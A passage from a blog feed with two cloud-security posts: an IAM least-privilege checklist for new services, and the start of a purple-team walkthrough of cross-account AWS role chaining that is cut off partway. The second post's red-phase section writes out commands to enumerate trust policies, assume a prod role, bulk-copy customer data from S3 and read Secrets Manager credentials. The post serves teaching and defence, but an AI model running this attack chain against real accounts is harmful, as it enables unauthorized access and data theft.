<p>New cloud service IAM permissions land the same day a provider ships something new — usually before your Terraform provider, your internal enablement docs, or anyone&#8217;s muscle memory has caught up. A team wants to use the new service today, and the fastest way to unblock them is a wildcard: <code class="" data-line="">service:*</code> on <code class="" data-line="">Resource: *</code>. It works immediately. It also never gets revisited.</p>
<p>I&#8217;ve seen this pattern enough times across AWS, GCP, and Azure environments to stop treating it as a one-off mistake and start treating it as a predictable failure mode. Every cloud provider ships new services and new API actions on existing services continuously — thousands of changes a year across the big three. IAM has to keep up with all of it, and nobody&#8217;s tooling updates same-day. The gap between &#8220;the service exists&#8221; and &#8220;the least-privilege policy for it exists&#8221; is where every wildcard grant in your account was born.</p>
<p>This episode is the checklist I use to close that gap before it becomes <a href="/iam-least-privilege-audit/">EP09&#8217;s least-privilege audit</a> problem six months later.</p>
<hr />
<h2 id="why-this-keeps-happening">Why This Keeps Happening</h2>
<p>Cloud providers version their IAM action sets independently of their service launches. A service can go GA with its full action list, then add new actions for a feature shipped three months later — with no changelog most teams are subscribed to. Preview and beta services are worse: action names occasionally change between preview and GA, which means a policy scoped correctly during the beta can silently stop matching after the rename.</p>
<p>None of this is a documentation failure you can fix by reading more carefully. It&#8217;s a structural lag between provider release velocity and your policy review cycle. The fix isn&#8217;t reading faster — it&#8217;s having a checklist that runs the same way every time a new service shows up in a support ticket.</p>
<hr />
<h2 id="step-1-find-the-exact-actions-the-task-needs">Step 1: Find the Exact Actions the Task Needs</h2>
<h3 id="aws">AWS</h3>
<p>AWS doesn&#8217;t expose a single CLI call that lists &#8220;every action for this service.&#8221; The two real sources:</p>
<ol>
<li>The <a href="https://docs.aws.amazon.com/service-authorization/latest/reference/">Service Authorization Reference</a> — the canonical, per-service action/resource/condition-key list. Not a CLI, but the ground truth.</li>
<li>IAM Access Analyzer&#8217;s policy generation — build a least-privilege policy from what a role <em>actually called</em>, not from the full service action list:</li>
</ol>
<pre><code class="" data-line=""># Let a trial role use the new service for a short period first, then generate
# a policy scoped to only the actions that were actually invoked
aws accessanalyzer start-policy-generation \
  --policy-generation-details principalArn=arn:aws:iam::123456789012:role/new-service-trial-role \
  --cloud-trail-details &#039;{
    &quot;trails&quot;: [{&quot;cloudTrailArn&quot;: &quot;arn:aws:cloudtrail:us-east-1:123456789012:trail/management-trail&quot;, &quot;allRegions&quot;: true}],
    &quot;accessRole&quot;: &quot;arn:aws:iam::123456789012:role/AccessAnalyzerMonitorRole&quot;
  }&#039;

# Poll for the generated policy once the job completes
aws accessanalyzer get-generated-policy --job-id &lt;JOB_ID&gt;
</code></pre>
<blockquote>
<p><strong>For operators:</strong> this generates a policy from <em>observed</em> API calls, not theoretical need. Run the trial role for long enough to exercise every code path the team actually uses — a policy generated from five minutes of testing will be too narrow for production.</p>
</blockquote>
<h3 id="gcp">GCP</h3>
<pre><code class="" data-line=""># Returns the exact permissions that CAN be granted on this specific resource —
# scoped to what that resource type supports, not the whole service
gcloud iam list-testable-permissions \
  //aiplatform.googleapis.com/projects/my-project/locations/us-central1
</code></pre>
<p>Reading the output: each returned permission is one your team might plausibly need — GCP won&#8217;t list permissions that don&#8217;t apply to this resource type. Cross-reference against the task at hand and grant only the subset actually required.</p>
<h3 id="azure">Azure</h3>
<pre><code class="" data-line=""># Lists every operation (permission) a resource provider namespace exposes
az provider operation show \
  --namespace Microsoft.CognitiveServices \
  --query &quot;[].{Operation:name, Description:display.description}&quot; \
  -o table
</code></pre>
<p>This is the full menu for the namespace — most tasks need a handful of these operations, not all of them. Use it to find the exact operation string for a custom role definition rather than reaching for a built-in <code class="" data-line="">Contributor</code>-level role.</p>
<hr />
<h2 id="step-2-scope-the-resource-not-the-account">Step 2: Scope the Resource, Not the Account</h2>
<p>Finding the right action is half the job. The other half is refusing <code class="" data-line="">&quot;Resource&quot;: &quot;*&quot;</code>.</p>
<pre><code class="" data-line="">// Bad — every foundation model, in every region, forever
{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: &quot;bedrock:*&quot;,
  &quot;Resource&quot;: &quot;*&quot;
}

// Better — scoped to the specific model family the team asked for
{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: [&quot;bedrock:InvokeModel&quot;],
  &quot;Resource&quot;: &quot;arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude*&quot;
}
</code></pre>
<p>The same discipline applies in GCP (bind the role to the specific project or resource, not the organization) and Azure (scope the role assignment to the resource group, not the subscription). A new service is the easiest moment to get this right — there&#8217;s no existing wildcard grant to &#8220;just extend.&#8221;</p>
<hr />
<h2 id="step-3-dry-run-before-you-grant">Step 3: Dry-Run Before You Grant</h2>
<p>Test the policy against the real action before it&#8217;s live.</p>
<pre><code class="" data-line=""># AWS: simulate whether a principal&#039;s policy allows a specific action on a specific resource
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:role/new-service-role \
  --action-names bedrock:InvokeModel \
  --resource-arns arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude-v2
</code></pre>
<pre><code class="" data-line=""># GCP: Policy Troubleshooter — does this principal have this permission on this resource, and why (or why not)?
gcloud policy-troubleshoot iam \
  //aiplatform.googleapis.com/projects/my-project/locations/us-central1 \
  --principal-email=svc-new-service@my-project.iam.gserviceaccount.com \
  --permission=aiplatform.endpoints.predict
</code></pre>
<pre><code class="" data-line=""># Azure: preview what an IaC deployment (including role assignments) will change before applying it
az deployment group what-if \
  --resource-group rg-new-service \
  --template-file role-assignment.bicep
</code></pre>
<p>None of these grant access. All three tell you, before the grant is live, whether the policy you wrote actually does what you think it does.</p>
<hr />
<h2 id="step-4-attach-a-guardrail-not-just-a-grant">Step 4: Attach a Guardrail, Not Just a Grant</h2>
<p>A grant without a guardrail is one typo away from being an account-wide wildcard. Pair every new-service grant with a boundary that survives the next person copy-pasting the policy:</p>
<ul>
<li><strong>AWS</strong> — a permission boundary on the role, or an SCP restricting the new service to specific OUs until it&#8217;s been reviewed</li>
<li><strong>GCP</strong> — an Org Policy constraint limiting resource locations or restricting which services can be enabled in the first place</li>
<li><strong>Azure</strong> — an Azure Policy assignment enforcing an allowed-services list at the subscription or management group level</li>
</ul>
<p>The guardrail is what keeps &#8220;we scoped it correctly on day one&#8221; true after the policy gets copied into three other roles by someone who wasn&#8217;t in this conversation.</p>
<hr />
<h2 id="step-5-put-a-30-day-review-on-the-calendar">Step 5: Put a 30-Day Review on the Calendar</h2>
<p>Treat every new-service grant as provisional, not permanent. A calendar reminder — not a ticket that can sit in a backlog — to check actual usage against granted permissions 30 days out.</p>
<p>This is the same discipline <a href="/iam-least-privilege-audit/">EP09&#8217;s least-privilege audit</a> runs at the account level, applied at the moment of grant instead of six months later. Step 5 is what catches the case where the team&#8217;s actual usage turned out narrower than the trial period suggested — or wider, because the trial period didn&#8217;t exercise every path.</p>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<table>
<thead>
<tr>
<th>Mistake</th>
<th>Impact</th>
<th>Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Granting console-wide access &#8220;temporarily&#8221; while waiting for Terraform provider support</td>
<td>Temporary access outlives the wait — nobody revokes it once the provider resource ships</td>
<td>Time-box the console grant explicitly; automate its removal, don&#8217;t rely on memory</td>
</tr>
<tr>
<td>Scoping a policy to a preview/beta action name</td>
<td>Silent breakage (or worse, silent continued access via an old wildcard) when the action renames at GA</td>
<td>Re-verify the action name against the Service Authorization Reference at GA, not just at preview</td>
</tr>
<tr>
<td>Assuming a new service reuses an existing condition key</td>
<td>Policy conditions that &#8220;should&#8221; restrict access silently don&#8217;t apply, because the new service doesn&#8217;t support that key</td>
<td>Check the service&#8217;s supported condition keys before reusing an existing policy pattern</td>
</tr>
<tr>
<td>Trial period too short for Access Analyzer&#8217;s policy generation</td>
<td>Generated policy is too narrow; production breaks on day one under real load</td>
<td>Run the trial long enough to exercise every code path, including error and retry paths</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Task</th>
<th>AWS</th>
<th>GCP</th>
<th>Azure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Discover exact actions</td>
<td>Service Authorization Reference + <code class="" data-line="">accessanalyzer start-policy-generation</code></td>
<td><code class="" data-line="">gcloud iam list-testable-permissions &lt;resource&gt;</code></td>
<td><code class="" data-line="">az provider operation show --namespace &lt;Provider&gt;</code></td>
</tr>
<tr>
<td>Dry-run a grant</td>
<td><code class="" data-line="">aws iam simulate-principal-policy</code></td>
<td><code class="" data-line="">gcloud policy-troubleshoot iam</code></td>
<td><code class="" data-line="">az deployment group what-if</code></td>
</tr>
<tr>
<td>Guardrail</td>
<td>Permission boundary / SCP</td>
<td>Org Policy constraint</td>
<td>Azure Policy assignment</td>
</tr>
<tr>
<td>Recurring check</td>
<td><code class="" data-line="">aws accessanalyzer</code> unused-access findings</td>
<td>IAM Recommender</td>
<td>Access Reviews</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Control / ID</th>
<th>Mapping</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — IAM</td>
<td>Least privilege enforced at initial provisioning, not discovered later through audit</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 1 — Security &amp; Risk Management</td>
<td>Provisional access as a risk-acceptance decision with an explicit review date</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Access rights defined and scoped to business need at the point of grant</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>Review of access rights — extended here to newly granted permissions, not just standing ones</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Logical access controls restrict access to authorized users and processes from first grant</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.3</td>
<td>Access is modified or revoked based on a defined review cadence</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>New cloud service IAM permissions ship on the provider&#8217;s schedule, not yours — the checklist has to run the same way every time, not only when someone remembers</li>
<li>The fast path (<code class="" data-line="">service:*</code> on <code class="" data-line="">*</code>) is also the path to next year&#8217;s wildcard-debt finding — scope it once, at the point of grant, instead of unwinding it later</li>
<li>AWS, GCP, and Azure each expose a different tool for discovering exact actions — none of them is &#8220;read the whole service&#8217;s docs and guess&#8221;</li>
<li>A grant without a guardrail (permission boundary, SCP, Org Policy, Azure Policy) is one copy-paste away from becoming account-wide</li>
<li>Provisional access needs an expiration built in from day one — a 30-day calendar review, not a hope that someone runs the audit eventually</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>This series doesn&#8217;t have a fixed episode count anymore — new cloud service IAM permissions are a continuous stream across AWS, GCP, and Azure, and this series continues covering them as they matter operationally, not on a fixed syllabus.</p>
<p>Get the next Cloud IAM episode in your inbox → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&#038;title=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" data-a2a-url="https://linuxcent.com/new-service-iam-permissions-checklist/" data-a2a-title="New Cloud Service IAM Permissions: A Checklist Before You Grant Access"></a></p><p>The post <a href="https://linuxcent.com/new-service-iam-permissions-checklist/">New Cloud Service IAM Permissions: A Checklist Before You Grant Access</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/new-service-iam-permissions-checklist/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2176</post-id>	</item>
		<item>
		<title>Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</title>
		<link>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/</link>
					<comments>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sat, 04 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Cross-Account]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Lateral Movement]]></category>
		<category><![CDATA[OWASP]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1870</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 12</span> <span class="rt-label rt-postfix">minutes</span></span>Cloud lateral movement doesn't need network pivoting — it needs one overly-broad IAM trust policy. How cross-account role chaining works and how to detect it before data leaves.</p>
<p>The post <a href="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/">Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 12</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security?</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-capital-one-breach/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape-attack-paths/">Kubernetes container escape</a> → <a href="/supply-chain-attack-solarwinds-xz-utils/">Supply chain attacks</a> → <strong>Cloud Lateral Movement</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Cloud lateral movement IAM</strong> is OWASP A01: attackers move between cloud accounts by exploiting cross-account IAM trust relationships — no network pivoting, no exploit, just a valid <code class="" data-line="">sts:AssumeRole</code> call</li>
<li>The structural vulnerability is a trust policy scoped too broadly — <code class="" data-line="">arn:aws:iam::DEV_ACCOUNT:root</code> instead of the specific Lambda execution role ARN — which lets any identity in the dev account assume the prod role</li>
<li>The full attack chain: compromised Lambda in dev account → enumerate cross-account trust policies → <code class="" data-line="">aws sts assume-role</code> into prod → access data lake S3 bucket → exfiltrate before detection fires</li>
<li>CloudTrail is the primary detection surface: <code class="" data-line="">AssumeRole</code> events where the principal account ID differs from the resource account ID are the signal; GuardDuty surfaces the pattern as <code class="" data-line="">Recon:IAMUser/UserPermissions</code></li>
<li>AWS Access Analyzer automatically flags overly-broad cross-account trust policies — it should be running in every account in your organization, not just the management account</li>
<li>The structural fix is three layers: scope trust policy to the specific source ARN, add <code class="" data-line="">ExternalId</code> for confused deputy protection, and use AWS Organizations SCPs to restrict cross-account role assumptions to approved account pairs only</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A01 Broken Access Control — cross-account IAM trust policies that specify an entire account root as the principal, instead of a specific role ARN, give any identity in the source account the ability to pivot into the target account.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│               CROSS-ACCOUNT IAM LATERAL MOVEMENT                    │
│                                                                      │
│   DEV ACCOUNT (111111111111)                                         │
│   ┌────────────────────────────────────────────┐                    │
│   │  Lambda: api-processor                     │                    │
│   │  Execution Role: lambda-execution-role     │◄── COMPROMISED     │
│   │                                            │                    │
│   │  Attacker has: access key for this role    │                    │
│   └───────────────────┬────────────────────────┘                    │
│                        │                                             │
│                        │  sts:AssumeRole                             │
│                        │  (cross-account API call)                  │
│                        ▼                                             │
│   ┌─────────────────────────────────────────────┐                   │
│   │  TRUST POLICY CHECK (prod account role)     │                   │
│   │                                             │                   │
│   │  Principal: arn:aws:iam::111111111111:root  │                   │
│   │              ↑ TOO BROAD — any dev identity │                   │
│   └───────────────────┬─────────────────────────┘                   │
│                        │ ALLOW                                       │
│                        ▼                                             │
│   PROD ACCOUNT (222222222222)                                        │
│   ┌────────────────────────────────────────────┐                    │
│   │  Role: datalake-reader                     │                    │
│   │  Access: s3:GetObject on prod-datalake-*   │                    │
│   │          rds:Connect on prod-analytics-db  │                    │
│   │          secretsmanager:GetSecretValue      │                    │
│   └────────────────────┬───────────────────────┘                    │
│                         │                                            │
│                         ▼                                            │
│   customer-data.parquet, analytics schemas, DB credentials          │
│   ← exfiltrated in 23 minutes                                        │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Cloud lateral movement IAM</strong> attacks succeed because the authentication step — the <code class="" data-line="">sts:AssumeRole</code> call — works exactly as designed. The Lambda&#8217;s identity is valid. The cross-account trust policy explicitly allows it. AWS faithfully issues the temporary credentials. The entire attack is indistinguishable from legitimate application behavior at the API level, which is why the trust policy is the only reliable prevention point.</p>
<hr />
<h2 id="the-incident-dev-lambda-to-prod-data-lake">The Incident: Dev Lambda to Prod Data Lake</h2>
<p>Post-breach analysis. The attacker didn&#8217;t find a zero-day. They found a GitHub repository.</p>
<p>A developer had committed an <code class="" data-line="">.env</code> file to a public repo containing <code class="" data-line="">AWS_ACCESS_KEY_ID</code> and <code class="" data-line="">AWS_SECRET_ACCESS_KEY</code> for a Lambda execution role in the dev account. GitHub&#8217;s secret scanning flagged it and notified the security team — but the notification arrived 58 minutes after the commit. By then, an automated credential scanner had already found it, validated the keys, and passed them to an attacker.</p>
<p>That 58-minute window is the entire story.</p>
<p>The Lambda&#8217;s execution role was scoped to the dev account, so initial triage assumed the blast radius was limited to dev. It wasn&#8217;t. A previous sprint had set up a cross-account trust relationship so the Lambda could read from the prod data lake during a data quality audit. The trust policy on the <code class="" data-line="">datalake-reader</code> role in prod read:</p>
<pre><code class="" data-line="">&quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;}
</code></pre>
<p>Not the Lambda&#8217;s specific execution role ARN. The entire dev account root. Any identity in the dev account — including the one the attacker now held — could assume <code class="" data-line="">datalake-reader</code> in prod.</p>
<p>The attacker enumerated cross-account roles from inside the compromised Lambda context, found the trust relationship, assumed the prod role, listed the data lake S3 bucket, and exfiltrated 14 GB of customer data parquet files before the first GuardDuty finding surfaced.</p>
<p>The revelation: <strong>cloud lateral movement doesn&#8217;t require network pivoting. It requires finding one IAM trust relationship that&#8217;s too broad.</strong></p>
<p>The compromise of the dev Lambda was recoverable — rotate credentials, remediate the repo, done. The cross-account trust policy turned it into a prod data breach.</p>
<hr />
<h2 id="red-phase-the-cross-account-attack-chain">Red Phase: The Cross-Account Attack Chain</h2>
<h3 id="step-1-enumerate-trust-policies-from-a-compromised-role">Step 1: Enumerate Trust Policies from a Compromised Role</h3>
<p>An attacker&#8217;s first move inside a cloud environment is always the same: establish who they are and what they can reach.</p>
<pre><code class="" data-line="">aws sts get-caller-identity
# Returns:
# {
#   &quot;UserId&quot;: &quot;AROAIOSFODNN7EXAMPLE:function-name&quot;,
#   &quot;Account&quot;: &quot;111111111111&quot;,
#   &quot;Arn&quot;: &quot;arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name&quot;
# }

# List roles in the current account and their trust policies
# The trust policy (AssumeRolePolicyDocument) shows who can assume each role
aws iam list-roles \
  --query &#039;Roles[*].[RoleName,AssumeRolePolicyDocument]&#039; \
  --output json | \
  jq &#039;.[] | {
    role: .[0],
    principals: (.[1].Statement[].Principal.AWS // .[1].Statement[].Principal.Service)
  }&#039;
</code></pre>
<pre><code class="" data-line=""># More targeted: find roles that have cross-account trust relationships
# Look for principal ARNs from a different account ID
aws iam list-roles --output json | \
  jq --arg own_account &quot;111111111111&quot; \
  &#039;.Roles[] | 
    .AssumeRolePolicyDocument.Statement[] |
    select(.Principal.AWS? | 
      strings | 
      test($own_account) | not
    ) |
    {role: .Resource // &quot;check-parent&quot;, principal: .Principal}&#039;
</code></pre>
<pre><code class="" data-line=""># Simulate whether the current identity can assume a specific cross-account role
# This confirms the trust policy actually allows the assumption before trying it
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::111111111111:role/lambda-execution-role \
  --action-names sts:AssumeRole \
  --resource-arns arn:aws:iam::222222222222:role/datalake-reader \
  --query &#039;EvaluationResults[0].EvalDecision&#039; \
  --output text
# Returns: allowed
</code></pre>
<h3 id="step-2-assume-the-cross-account-role">Step 2: Assume the Cross-Account Role</h3>
<pre><code class="" data-line=""># Assume the target role — this is the lateral movement step
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name &quot;recon-$(date +%s)&quot; \
  --query &#039;Credentials&#039;
# Returns:
# {
#   &quot;AccessKeyId&quot;: &quot;ASIAIOSFODNN7EXAMPLE&quot;,
#   &quot;SecretAccessKey&quot;: &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;,
#   &quot;SessionToken&quot;: &quot;IQoJb3JpZ2luX2...(truncated)&quot;,
#   &quot;Expiration&quot;: &quot;2024-01-15T14:32:00Z&quot;
# }

# Export the credentials to use in subsequent commands
export AWS_ACCESS_KEY_ID=&quot;ASIAIOSFODNN7EXAMPLE&quot;
export AWS_SECRET_ACCESS_KEY=&quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;
export AWS_SESSION_TOKEN=&quot;IQoJb3JpZ2luX2...&quot;

# Confirm the new identity — now operating in prod account context
aws sts get-caller-identity
# {
#   &quot;Account&quot;: &quot;222222222222&quot;,  ← prod account
#   &quot;Arn&quot;: &quot;arn:aws:sts::222222222222:assumed-role/datalake-reader/recon-1705327920&quot;
# }
</code></pre>
<h3 id="step-3-enumerate-and-exfiltrate-from-prod">Step 3: Enumerate and Exfiltrate from Prod</h3>
<pre><code class="" data-line=""># What buckets are accessible from this role?
aws s3 ls

# Enumerate the data lake bucket
aws s3 ls --recursive s3://prod-datalake-bucket | \
  awk &#039;{print $3, $4}&#039; | \
  sort -rn | \
  head -20
# Shows: file sizes and paths
# 15728640  customer-data/2024/01/customer-data.parquet
# 8388608   analytics/sessions/session-events.parquet
# ...

# Exfiltrate — this is a single API call, logged in CloudTrail
aws s3 cp s3://prod-datalake-bucket/customer-data/2024/01/ /tmp/ \
  --recursive \
  --quiet

# Check for Secrets Manager access
aws secretsmanager list-secrets \
  --query &#039;SecretList[].{Name:Name,LastRotated:LastRotatedDate}&#039; \
  --output table

aws secretsmanager get-secret-value \
  --secret-id prod/analytics-db/credentials \
  --query &#039;SecretString&#039; \
  --output text
</code></pre>
<h3 id="step-4-role-chaining-staying-in-the-environment">Step 4: Role Chaining — Staying in the Environment</h3>
<p>Role chaining is assuming one role then using that session to assume another. It extends the attacker&#8217;s reach without returning to the original compromised identity.</p>
<pre><code class="" data-line=""># From the prod datalake-reader context, can we go further?
# Check what other roles trust this prod role, or what this role can assume
aws iam list-roles --output json | \
  jq &#039;.Roles[] | 
    select(.AssumeRolePolicyDocument.Statement[].Principal.AWS? | 
      strings | 
      test(&quot;datalake-reader&quot;)
    ) | .RoleName&#039;

# If the datalake-reader role has sts:AssumeRole permissions itself,
# the chain continues — each hop gets a fresh 1-hour session
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/analytics-admin \
  --role-session-name &quot;second-hop-$(date +%s)&quot;
</code></pre>
<h3 id="tools-attackers-use-for-cloud-lateral-movement-enumeration">Tools Attackers Use for Cloud Lateral Movement Enumeration</h3>
<p><strong>Pacu</strong> (Rhino Security Labs): Modular AWS exploitation framework. The <code class="" data-line="">iam__enum_users_roles_policies_groups</code> and <code class="" data-line="">iam__privesc_scan</code> modules map the full IAM graph and identify assumption paths automatically.</p>
<pre><code class="" data-line=""># Pacu: enumerate IAM and find assumable roles
pacu
&gt; run iam__enum_users_roles_policies_groups
